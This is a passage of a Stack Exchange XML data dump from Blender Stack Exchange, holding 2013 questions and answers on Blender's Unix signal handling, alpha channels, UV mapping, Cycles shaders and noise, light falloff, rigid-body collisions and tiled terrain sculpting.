but can give you alot more control and variation as to how things can be placed.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U7JoQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-07-13T08:50:35.763" LastActivityDate="2013-07-13T08:50:35.763" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="1799" PostTypeId="1" CreationDate="2013-07-13T01:43:14.943" Score="10" ViewCount="187" Body="&lt;p&gt;By &quot;signals&quot; I mean the age-old unix signals like SIGSTOP, SIGQUIT, SIGPWR, SIGALRM, SIGUSR1, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which ones does the Blender process not ignore, and how does it react to each?    I'm curious about signals sent to Blender by the operating system, user, or other software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't recall seeing mention anywhere in any documentation. &lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2013-07-14T21:43:41.277" Title="What signals does Blender respond to?" Tags="&lt;linux&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1800" PostTypeId="2" ParentId="1799" CreationDate="2013-07-13T02:19:05.670" Score="9" Body="&lt;p&gt;Here are the signals Blender currently uses.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;SIGINT&lt;/code&gt; (Ctrl+C in the terminal) is used to cancel renders.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SIGFPE&lt;/code&gt; can be enabled by passing &lt;code&gt;--debug-fpe&lt;/code&gt; to Blender, we use the for finding errors while debugging.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SIGSEGV&lt;/code&gt; writes a crash log in the temp directory, unless &lt;code&gt;--disable-crash-handler&lt;/code&gt; argument is passed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-07-14T21:43:41.277" LastActivityDate="2013-07-14T21:43:41.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1801" PostTypeId="1" AcceptedAnswerId="1808" CreationDate="2013-07-13T02:48:08.427" Score="4" ViewCount="12319" Body="&lt;p&gt;I am creating blank images within blender to add some fine detail, such as nails in wood boards. My blank image is black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I export the image and/or when I input it into image texture node in cycles, I cannot control the alpha channel, as it hasn't been saved.&lt;br&gt;&#xA;When generating a new image, I am using all the default settings (including the option to create an alpha channel). Any suggestions on how to generate an image with usable alpha channel?&lt;/p&gt;&#xA;" OwnerUserId="504" LastEditorUserId="599" LastEditDate="2013-07-13T19:23:14.723" LastActivityDate="2015-08-28T21:14:50.443" Title="Using alpha channel of generated images for cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1802" PostTypeId="1" CreationDate="2013-07-13T02:53:00.483" Score="3" ViewCount="43" Body="&lt;p&gt;I'm trying to learn materials, and there are &lt;b&gt;so many options!&lt;/b&gt; I'd like to be able to compare side by side the effect of changing certain values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to keep old renders open?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-07-13T02:53:00.483" Title="Keeping old renders open" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2013-07-13T02:56:02.850" ContentLicense="CC BY-SA 3.0" />
  <row Id="1803" PostTypeId="1" CreationDate="2013-07-13T06:05:58.270" Score="42" ViewCount="2028" Body="&lt;p&gt;I'm trying to write an addon to customize the trackpad panning, zoomimg, and rotating gestures, but can't find a way to read the actual trackpad parameters for position and so on. The properties in the event structure (mouse_prev_x/y, mouse_x/y, mouse_region_x/y) shows the current pointer position which happens to be standing still on the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the addon that I'm talking about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/rraallvv/5989609&quot; rel=&quot;noreferrer&quot;&gt;space_view3d_pan_naturally.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no examples on the web for handling the &lt;code&gt;TRACKPADPAN&lt;/code&gt; event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The class &lt;code&gt;bpy.types.Event&lt;/code&gt; is the one that is supposed to have the relevant parameters to retrieve from the &lt;code&gt;TRACKPADPAN&lt;/code&gt; event, that is what I'm guessing from the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.Event.html?highlight=event#bpy.types.Event.value&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This snippet of code in particular, from my add-on, printf to the info view that the trackpad event has nothing to do with the mouse coordinates that are available in &lt;code&gt;bpy.types.Event&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#....&#xA;def modal(self, context, event):&#xA;    #....&#xA;    if event.type == 'TRACKPADPAN':     &#xA;        self.report({'INFO'}, str(event.mouse_x))&#xA;#...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="761" LastEditorUserId="40123" LastEditDate="2017-06-21T08:09:20.347" LastActivityDate="2019-10-25T21:25:16.677" Title="Custom trackpad pan/zoom/rotate behavior add-on" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1805" PostTypeId="1" AcceptedAnswerId="1814" CreationDate="2013-07-13T08:06:03.363" Score="6" ViewCount="1034" Body="&lt;p&gt;I have a really simple object with less than 20 polygons, that is used on a platform for my game. I was able to model and unwrapped it, but I want to resize all the side polygons so they are 32px high, and stack them together (as they are all the same).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I wanted to know if it was possible to set the resolution of the UV-map viewport (where the 2D texture is displayed) so it has a resolution according to my target texture, and the polygons faces are aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the picture of what I have done so far: &lt;img src=&quot;https://i.stack.imgur.com/rZgXb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="943" LastActivityDate="2013-07-14T04:25:47.283" Title="Low res texture in UV map with repetitive polygons" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1806" PostTypeId="1" AcceptedAnswerId="1825" CreationDate="2013-07-13T11:07:42.690" Score="8" ViewCount="1644" Body="&lt;p&gt;When I export models to Collada format, some transformations (bone animations, mainly) use transformation matrices. In order to decompose these matrices in the target program that loads the Collada file, I need to know the order of the transformations (scale, rotation, translation). Mainly I'm concerned if the scale is applied before or after the rotation.&lt;/p&gt;&#xA;" OwnerUserId="908" LastActivityDate="2013-07-14T23:24:36.563" Title="What is the order of transformations when exporting to Collada?" Tags="&lt;transforms&gt;&lt;collada&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1807" PostTypeId="2" ParentId="1703" CreationDate="2013-07-13T15:49:08.870" Score="15" Body="&lt;p&gt;As mentioned on the Reducing Noise in Cycles &lt;a href=&quot;https://www.blender.org/manual/render/cycles/optimizations/reducing_noise.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki Page&lt;/a&gt; you could try Filter Glossy or other techniques listed there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're rendering a static image you can use the Seed value for Cycles to save a couple versions of an image and use the data from the second to remove fireflies from the first. See discussion and an example image of that &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?216113-Brecht-s-easter-egg-surprise-Modernizing-shading-and-rendering/page193&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="946" LastEditorUserId="20608" LastEditDate="2016-11-27T13:10:16.030" LastActivityDate="2016-11-27T13:10:16.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1808" PostTypeId="2" ParentId="1801" CreationDate="2013-07-13T19:16:52.133" Score="4" Body="&lt;p&gt;I'm not sure I understand the question entirely..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want an image with a transparent background,&#xA;Make sure you set the image background to completely transparent (assuming that is what you want)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FXBiw.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you save the image you also want to make sure you use an image format that supports alpha channels - png would be the most common.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RGBA button enables saving the alpha channel and is only visible if the image format supports alpha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If you want to render the image, the RGBA button is in the render settings panel.).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pHTd9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then set up a simple material such as this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rI2Pb.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-14T14:47:20.227" LastActivityDate="2013-07-14T14:47:20.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1809" PostTypeId="1" CreationDate="2013-07-13T20:27:32.183" Score="10" ViewCount="1819" Body="&lt;p&gt;I'm looking to make a terrain system sort of like in the fourth and fifth generation Pokémon games. It's just all gridded basically, and reuses the same pieces all over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of the type of terrain I'm trying to create:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PRKwg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just started using sculpt mode. The problem I ran into was that I can't get the edges of the pieces to line up without some ugly gap (I'm mainly talking about the mountain-side pieces). Does anyone know how to make it so this kind of thing can work, so the edges will line up without odd gaps?&lt;/p&gt;&#xA;" OwnerUserId="947" LastEditorUserId="12" LastEditDate="2013-07-14T06:45:31.617" LastActivityDate="2013-07-17T19:33:09.160" Title="Tips for sculpting tile-like terrain" Tags="&lt;workflow&gt;&lt;sculpting&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" CommunityOwnedDate="2013-07-14T18:21:09.877" ContentLicense="CC BY-SA 3.0" />
  <row Id="1810" PostTypeId="2" ParentId="1809" CreationDate="2013-07-13T20:44:17.323" Score="4" Body="&lt;p&gt;You could use an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modifiers/Generate/Array&quot; rel=&quot;nofollow noreferrer&quot;&gt;Array modifier&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if you use &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Dynamic_Topology_Sculpting&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;dynamic topology sculpting&lt;/em&gt;&lt;/a&gt; you will have to sculpt one piece first, then use the array modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g129B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-13T20:49:49.377" LastActivityDate="2013-07-13T20:49:49.377" CommentCount="0" CommunityOwnedDate="2013-07-14T18:21:09.877" ContentLicense="CC BY-SA 3.0" />
  <row Id="1811" PostTypeId="1" AcceptedAnswerId="1823" CreationDate="2013-07-13T23:10:15.887" Score="18" ViewCount="29513" Body="&lt;p&gt;Using the &lt;em&gt;Mesh&lt;/em&gt; option in &lt;em&gt;Properties &gt; Physics &gt; Rigid Body &gt; Rigid Body collisions&lt;/em&gt; as the collision shape often makes the simulation unstable (objects jittering, falling through other objects, flying out of the scene, etc.)&lt;br&gt;&#xA;This still can happen even after cranking up the &lt;em&gt;Step Per Second&lt;/em&gt; value in &lt;em&gt;Properties &gt; Rigid Body World&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some methods for getting stable simulations while colliding objects with holes in them that other objects need to fall through? (for example a torus)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The tips below are great, but I noticed that problems still tend to occur with collisions between to objects with &lt;em&gt;Mesh&lt;/em&gt; collision shapes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other solutions for getting decent collisions with two mesh shapes?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-04T20:09:33.690" LastActivityDate="2019-09-02T11:51:26.603" Title="Tips for making Mesh Rigid-body collision shapes more stable" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="4" CommunityOwnedDate="2013-07-14T18:16:31.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="1812" PostTypeId="1" AcceptedAnswerId="1816" CreationDate="2013-07-14T00:24:09.650" Score="15" ViewCount="4226" Body="&lt;p&gt;Exactly what does the Glass shader do?  I would guess that it combines the effects of Glossy (zero roughness) for reflections, and Refraction for, obviously, light refracting through the object.  Glass could just be a handy combination of Add, Glossy and Refraction nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making and looking at test objects using all types of shaders, comparing, it appears that this isn't quite right.  I can't quite explain how it's not looking the same, just that (unless I'm doing something stupid) there's an irresolvable difference.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to understand exactly how Glass works, and learn in more depth what all the shaders do, is there a way to arrange non-Glass shaders and other nodes to imitate exactly the Glass shader?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Of course, I could peek at the source code, but other Blender users may be wondering too, and not be literate in C++.)&lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2013-07-16T00:34:32.473" Title="How can the Glass Shader be imitated using only other shaders?" Tags="&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1814" PostTypeId="2" ParentId="1805" CreationDate="2013-07-14T04:25:47.283" Score="1" Body="&lt;p&gt;In the UV Editor (as shown in your picture), select one of the 'sides' (position the mouse cursor over one and hit &lt;kbd&gt;L&lt;/kbd&gt;) then hit &lt;kbd&gt;ctrl&lt;/kbd&gt; &lt;kbd&gt;P&lt;/kbd&gt; - this will make it fill the image vertically at 64px high. Now scale it by half &lt;kbd&gt;S&lt;/kbd&gt; (.5). Do the same with all the other 'sides' (not the top or bottom), they should now sit neatly one on top of the other, and be 32px high. &#xA;Position the 2D Cursor on one of the vertices at the bottom of the 'sides' (select a vertex and hit &lt;kbd&gt;shift&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; &gt; Cursor to Selected),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xOlJR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then set the pivot to 2D Cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5wBo4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now grab &lt;kbd&gt;G&lt;/kbd&gt; the 'bottom' and position one of it's vertices on the 2D Cursor and then scale (S) until the next vertex lines up as shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GolvZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the same with the 'top'. Now all resolutions should be the same and the sides will be 32px high. I hope this solves the problem.&lt;/p&gt;&#xA;" OwnerUserId="470" LastActivityDate="2013-07-14T04:25:47.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1815" PostTypeId="2" ParentId="1811" CreationDate="2013-07-14T07:49:36.303" Score="4" Body="&lt;p&gt;Try to split the torus in more parts and use convex hull/other method. A lot of &quot;easy&quot; to calculate parts often better than one &quot;difficult&quot; part. &lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="12" LastEditDate="2013-12-08T09:34:54.227" LastActivityDate="2013-12-08T09:34:54.227" CommentCount="3" CommunityOwnedDate="2013-07-14T18:16:31.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="1816" PostTypeId="2" ParentId="1812" CreationDate="2013-07-14T09:01:58.487" Score="13" Body="&lt;p&gt;What is missing is the &lt;a href=&quot;https://en.wikipedia.org/wiki/Fresnel_equations&quot; rel=&quot;noreferrer&quot;&gt;Fresnel&lt;/a&gt; effect of the surface reflecting more light at higher angles of incidence.&lt;br&gt;&#xA;You can use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Fresnel&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;fresnel&lt;/em&gt; node&lt;/a&gt; (&lt;em&gt;Add node &gt; Input &gt; Fresnel&lt;/em&gt;) as the factor for a &lt;em&gt;Mix node&lt;/em&gt; mixing the &lt;em&gt;Refraction&lt;/em&gt; and &lt;em&gt;Glossy&lt;/em&gt; shader to get this effect.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FqOkc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mixed with only an &lt;em&gt;Add Shader&lt;/em&gt; node:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7o3Qq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples with the above materials: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/Snc10.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-16T00:34:32.473" LastActivityDate="2013-07-16T00:34:32.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1817" PostTypeId="1" CreationDate="2013-07-14T10:16:54.693" Score="8" ViewCount="6008" Body="&lt;p&gt;I'd like to export my scene to one or more of the file formats listed in the &lt;strong&gt;File&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Export&lt;/strong&gt; menu:  &lt;code&gt;.3ds&lt;/code&gt;, &lt;code&gt;.dae&lt;/code&gt;, &lt;code&gt;.obj&lt;/code&gt;, and so on. Which, if any, of these formats records all the details of Cycles materials &amp;ndash; all the types of shaders, RGB curve nodes, all the texture types, and so on?  If I make a complicated material in the Node Editor, will the visual appearance of the rendered object be properly conveyed to someone using 3D Studio or Wavefront? I'm not worried about meshes or most other things, just materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lacking any of the software which would normally use any of the exportable formats, I have no way to check by direct experiment.  Even if it did work &amp;ndash; and even if Blender can re-load an exported file and the scene looks okay &amp;ndash; I can't be sure if I just got lucky and unwittingly avoided some tricky feature.  &lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorUserId="372" LastEditDate="2013-08-11T20:11:16.747" LastActivityDate="2014-07-15T22:02:46.777" Title="For which formats are Cycles materials completely and accurately exported?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;export&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1818" PostTypeId="1" AcceptedAnswerId="1820" CreationDate="2013-07-14T10:28:44.670" Score="13" ViewCount="2645" Body="&lt;p&gt;In BI, we have the traditional OpenGL choices of constant, linear and &lt;sup&gt;1&lt;/sup&gt;&amp;frasl;&lt;sub&gt;distance&lt;sup&gt;2&lt;/sup&gt;&lt;/sub&gt; falloff, along with some parameters to tweak the falloff formula.  This allowed for a variety of artistic styles, and getting even illumination from lamps that couldn't be put far away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles is more physically realistic.  What about 3D works in which we don't want such great realism?  Is there a way to make all the light paths between two objects, or between one object and all others, obey alternative laws of radiation physics? &lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorUserId="372" LastEditDate="2013-08-11T20:50:37.757" LastActivityDate="2014-03-04T22:14:27.290" Title="Is it possible for light sources in Cycles to have nonphysical falloff like in BI?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1819" PostTypeId="2" ParentId="1703" CreationDate="2013-07-14T11:00:52.683" Score="16" Body="&lt;p&gt;I recall a few techniques for this. As mentioned by futurehack you can render twice with low samples using different seed values which puts the fireflies in different locations, when mixed together the fireflies get cancelled out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of two renders with 10 samples and different seed values -&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LeKQp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turning up the filter glossy value (in light paths panel) can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over at CGCookie you may find help with Sebastian's tutorial on &lt;a href=&quot;https://cgcookie.com/archive/reducing-caustic-noise-in-blender-with-cycles/&quot; rel=&quot;noreferrer&quot;&gt;reducing caustic noise&lt;/a&gt;. To summarize, for the glossy material you can use the 'Is Diffuse Ray' from a Light path node to choose between a glossy or diffuse material. This allows you to still get indirect lighting with 'No Caustics' turned on in the light paths while reducing noise.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cpoLr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the most helpful will probably be using &lt;a href=&quot;https://cgcookie.com/archive/using-blenders-bilateral-blur-compositing-node/&quot; rel=&quot;noreferrer&quot;&gt;the bilateral blur&lt;/a&gt; by Bartek. This tutorial gets a bit more in depth with compositing but essentially discusses different ways to define a mask that can be input into a bilateral blur node and which render passes can be blurred and combined for the best result. The determinator input of the bilateral blur node is used to define the edges of the area that gets blurred. This lets you limit the blur to specific areas that for example have fireflies.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EjDf7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="25" LastEditDate="2015-10-28T08:24:55.637" LastActivityDate="2015-10-28T08:24:55.637" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1820" PostTypeId="2" ParentId="1818" CreationDate="2013-07-14T11:15:15.123" Score="17" Body="&lt;p&gt;Yes. There is a node called &lt;i&gt;Light Falloff&lt;/i&gt;&#xA;you can plug in to the Emission shader strength.&#xA;It has three outputs: &lt;i&gt;quadratic&lt;/i&gt; or &lt;i&gt;Linear&lt;/i&gt;&#xA;or &lt;i&gt;Constant&lt;/i&gt; You my even do some math with the ray&#xA;length and plug the result in the &lt;i&gt;Light Falloff&lt;/i&gt;&#xA;node strength and use the &lt;i&gt;Constant&lt;/i&gt; output.&#xA;The example is only a demonstration nothing useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lZ8zg.png&quot; alt=&quot;Falloff Demo&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-03-04T22:14:27.290" LastActivityDate="2014-03-04T22:14:27.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1822" PostTypeId="2" ParentId="1797" CreationDate="2013-07-14T15:05:22.633" Score="3" Body="&lt;p&gt;Expanding on &lt;a href=&quot;https://blender.stackexchange.com/a/1798/12&quot;&gt;iKlsR's&lt;/a&gt; answer&amp;hellip; if using the dupli-faces method, both objects have to be at &lt;code&gt;0, 0, 0&lt;/code&gt;  (xyz).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What might also be causing problems, is that orientation and the origin of the duplicated object are very important as well&amp;hellip; for your needles the origin should be at the &lt;em&gt;base&lt;/em&gt; of the needles.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For rotating the object, just experimenting is the easiest way just remember to either rotate in edit-mode, or if you rotate in object mode, &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; to apply the rotation, so that in the end both (duplicated and duplicating object) both have location &lt;code&gt;0, 0, 0&lt;/code&gt; and rotation &lt;code&gt;0°, 0°, 0°&lt;/code&gt; &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;With the particle method you do indeed have a lot more control, but it takes more time to set it up properly.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you work with particles, you also have control over &lt;em&gt;which&lt;/em&gt; faces emit the thorns.&#xA;(you just have to add the vertices of those faces to a vertex group and select this group for the emitting density)&#xA;&lt;br&gt;&#xA;for this method origin and orientation of the object that is to be duplicated are important as well&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2013-07-14T16:26:45.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1823" PostTypeId="2" ParentId="1811" CreationDate="2013-07-14T16:36:10.790" Score="12" Body="&lt;p&gt;Jittering objects are normally caused by the collision margin. See the documentation:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;http://web.archive.org/web/20160307234051/http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Collision_Margin&quot; rel=&quot;noreferrer&quot;&gt;Collision Margin&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;p&gt;The collision margin is used to improve performance and stability of rigid bodies. Depending on the shape, it behaves differently, some shapes embed it, while others have a visible gap around them:&lt;/p&gt;&#xA;&lt;p&gt;The margin is embedded for these shapes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sphere&lt;/li&gt;&#xA;&lt;li&gt;Box&lt;/li&gt;&#xA;&lt;li&gt;Capsule&lt;/li&gt;&#xA;&lt;li&gt;Cylinder&lt;/li&gt;&#xA;&lt;li&gt;Convex Hull: Only allows for uniform scale when embedded.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The margin is not embedded for these shapes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cone&lt;/li&gt;&#xA;&lt;li&gt;Active Triangle Mesh&lt;/li&gt;&#xA;&lt;li&gt;Passive Triangle Mesh: Can be set to 0 most of the time.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;http://web.archive.org/web/20160307234051/http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Simulation_Stability&quot; rel=&quot;noreferrer&quot;&gt;Simulation Stability&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;p&gt;The simplest way of improving simulation stability is to increase the steps per second. However, care has to be taken since making too many steps can cause problems and make the simulation even less stable (if you need more than 1000 steps, you should look at other ways to improve stability).&lt;/p&gt;&#xA;&lt;p&gt;Increasing the number of solver iterations helps making constraints stronger and also improves the object's stacking stability.&lt;/p&gt;&#xA;&lt;p&gt;It's best to avoid small objects, as they're currently unstable. Ideally, objects should be at least 20 cm in diameter. If it's still necessary, setting the collision margin to 0, while generally not recommended, can help making small object behave more naturally.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/22791&quot; rel=&quot;noreferrer&quot;&gt;Here's a quick example scene&lt;/a&gt; for you to inspect.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-09-02T11:51:26.603" CommentCount="2" CommunityOwnedDate="2013-07-14T18:16:31.840" ContentLicense="CC BY-SA 4.0" />
  <row Id="1824" PostTypeId="2" ParentId="1809" CreationDate="2013-07-14T21:39:04.347" Score="5" Body="&lt;p&gt;As an expansion of gandalf3's answer, I'll give a quick workflow on how to make tiling easier...&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start with a mirror modifier on your object along both the X and Y axes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WjezJ.png&quot; alt=&quot;mirror modifier&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Model the edges of the mesh. Since you have the mirror modifier, it will tile evenly along both the X and Y objects.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xzUzk.png&quot; alt=&quot;tile edges&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply the mirror modifier.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hide the edges of the mesh (Select the edges you want to hide, then press &lt;kbd&gt;H&lt;/kbd&gt;. To hide in sculpt mode press &lt;kbd&gt;H&lt;/kbd&gt; (this will bring up box select) and 